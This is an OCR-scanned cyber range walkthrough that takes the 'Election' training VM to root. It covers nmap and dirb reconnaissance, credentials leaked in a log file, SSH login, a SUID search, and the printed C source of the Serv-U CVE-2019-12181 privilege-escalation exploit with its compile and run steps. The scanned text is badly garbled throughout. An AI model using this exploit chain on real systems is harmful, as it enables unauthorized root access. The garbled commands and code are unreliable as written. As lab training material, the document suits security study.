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CYBER RANGE

Election VM This guide will walk the user through all steps necessary
Walkth rough to attain root on the “Election” VM.

First, as with all targets, begin with a reconnaissance scan. In this case, we will use nmap:

:~% sudo nmap -p- 4.7.242.100
Starting Nmap 7.80 ( https://nmap.org ) at 2821-05-24 14:38 EDT
Nmap scan report for 4.7.242.100
Host is up (9.823s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 75.57 seconds

~$ 1

The results of the scan show ports 22 (SSH) and 80 (HTTP) are open. Since there are no known
credentials available yet, start with port 80:

@ Apache2 Ubuntu Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
natallation on Ubunty Systems, It is bazed on the eguivalent page on Debian, frem which the Ubuntu
Apache packaging |s derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at Svar fwww/html/index. html)
before continuing 1o cperate your HTTP server,

if you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site’s administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration. and split
nto several files aptimized for interaction with Ubuntu tools. The configuration system is fully
documented in jusrshare/docfapache2/README.Deblan.gz. Fefer to this for the full
documentation, Documentation for the web server itself can be found by accessing the manual if the
apache?-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:
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One common area to find hidden or important pages/directories is the robots.txt file. Upon examining
robots.txt, we see that the election page works:

Po>co

Kali Limux Kali Training

adnin
wordpress
["ET 3
election

elLection
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The page itself does not provide much information, so we will use a CLI tool dirb to brute force
directories from here:

~%

DIRB v2.22
By The Dark R

START_TIME: M
URL_BASE: htt
WORDLIST_FILE

GENERATED WOR

scanning

==} DIRECTORY:
‘r'.'

== DIRECTORY:

==} DIRECTORY:
=2 DIRECTORY:
==p DIRECTORY:

---- Entering
== DIRECTORY

m=p DIRECTORY:
= DIRECTORY:

==} DIR
+ htep:
== DIRECTORY:

DRY

== DIRECTORY:
==} DIRECTORY :

dirb http://4.7.242.100/election/

dvVer

on May 24 15:54:53 2821
if&.7.262.100/election/
S: Jusr/share/dirb/wordlists/common.txt

DS: 4612

URL: http://é.7.242.1080/election/ ----
http:/ ?.zul.l&ﬂfclcctnon;adminf
I|H|:J .rf 42. NH.-“'MP- tion/ ._r:.-’

http: .LwL.iﬂEJeiuhtzonr s’

http:/ -242.100/election/languages/
http: .242.100/election/1ib/
http://4.7.242.100/election/media/
http:/ .262.100/election/themes/
directory: http://4.7.242.108/election/admin/
242.108/election/admin/ajax/
242.108/election/adnin/components/
242.100/election/adnin/css/
.262.108/election/admin/ing/

2.100/election/admin/inc/

7.252. mn.a'lprtu.-n.-ddnmu index.php (CODE: 1ua| SIZE:8964)

http 2.108/election/admin/js/
http 4?.1&H#Ele;tlnn;ndm1t ngs/
http://&.7.242.100/election/adnin/plugins/

These results show there is an admin page nested in the "election" directory:
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This page leads the user down a rabbit hole. The best means of compromising this machine is
elsewhere. If we review the dirb results from earlier, we see that there is an interesting "logs" page:

T |

--== Entering directory: http://4.7.242.18@/election/admin/logs/ ----
(!) WARMING: Directory IS LISTABLE. No need to scan it.
(Use mode "-w' if you want to scan it anyway)

~=== Entering directory: http://4.7.242.100/election/admin/plugins/ --=--
(1) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

If we browse to this directory, we see a log file that we can download:

NetHunter [} Off

Name Last modified Size Description
.’ Ee'wp' Jirectory =
# system log 2020-05-27 15:23 205

Apache/2.4.29 (Ubuntu) Server at 4.7.242.100 Port 80

ftmplmazilla_kalQ/system.log [Reed Only] - Mousepad
File

[2020-01-01 00:00:00] Assigned Password for the user love: Paf$wdrdai2l
0-04-03 20:13:53] Love added didate ‘Love’.
[2020-04-08 19:26:34] Lovae has beon logged in from Unknown IP on Firefox (Linux).

This appears to be log-in credentials that we can try on the SSH port:

nt is SHA256:erz9
ure you want to continue comnectin y
g: Permanently added "4.7.242.108° (ECDSA) to the list of known ho
§.7.242.100"s word: ]
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The credentials are successful, and we can view the user flag:

ogin: Fri May 21 @5:36:41 2021 from 10.5.99.126
lovedelection:~$ 1s
Desktop Documents Downloads Music Pictures Public Templates Videos
lovegelection:~% cd Desktop/
lovedelection:~/Desktop} 1s
user.txt
lovedelection:~/Desktop$ cat user.txt

cd38ac698c8d793a5236d01003f692b0
lovedelection:~/Desktop$ ||

From here, the next step is to elevate privileges to root. One of the most common steps is to identify
any binaries that have the SUID bit set:

Lovedelection:~/Desktop$ find / -perm -u=s -type f 2>/dev/null
fusr/bin/arping
fusr/bin/passwd
fusr/bin/pkexec
fusr/bin/traceroutet.iputils
fust/bin/newgrp
Jusr/bin/chsh

fusr/bin/chfn
fusr/bin/gpasswd
fusr/bin/sudo

fusr/sbin/pppd
fusr/local/Serv-U/Serv-U

The “Serv-U” binary seems interesting. A simple web search shows this program has an
easy-to-run exploit:

Go E;!e I EXDIEN *

o e CEPIOR. O oe « 2%
Serv-L) FTP Server < 15.1.7 - Linux local - Exple# Database

Pt ST
Exploiting Privilege Escalation in Serv-U by Solarwinds ..

SenvUl has Been '] prEoe changes
explodt e v N the Serv-U w T
ot AW raped T com

Serv-U FTP Server Bulfer Overflow - Rapid?
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MetHunter [ Offensive S

CYE-2019-12181 Serv-U 15.1.8 Privilege Escalation

vylnerability found by:
Guy Lewin (@va_start - twitter.comfva_start) h'.:u».l".-'bluq.\.m'..rl.'ie-w

to compile ard rum:
QeC Servu-pe-ove-2019-12181.¢ -0 pe &h . fpe
=

#include <stdio.he
#include amnistd . h>
#include <erme.h>

int maini)
i
char *wuln args[] = {™\* ; id; echo "opening root shell" ; fbinfsh; "". "-prepareinstallation”, NULLJ;
it ret_val = execv(®fusr/local /Serv-U/Serv-U0%, wiln_args);
ff Af execy is successful, we won't reach here
printf("ret val: % errno: %d\n®, ret val, errno);
FEturn &rrmo;
1

Download the exploit, compile it with GCC, and run the exploit:

ving wew.explo
nnecting to we.exploit com (
TP request sent, awaiting response ... 200 0K
g [text/plain]

—e=KB/ s in @s

Loveaelection:~/Desktopt I

lovedelection:~/Desktop$ gcc 47009.c -o 47009
lovedelection:~/Desktop$ 1s
47009 47009.c wuser.txt

loveRelection
i m), 24( cdrom B(dip), 33 wew-cdata),&6 ugdev),116(1padmin), 126( sanb:

This exploit quickly and easily drops us into a root shell, and we can read the root flag.
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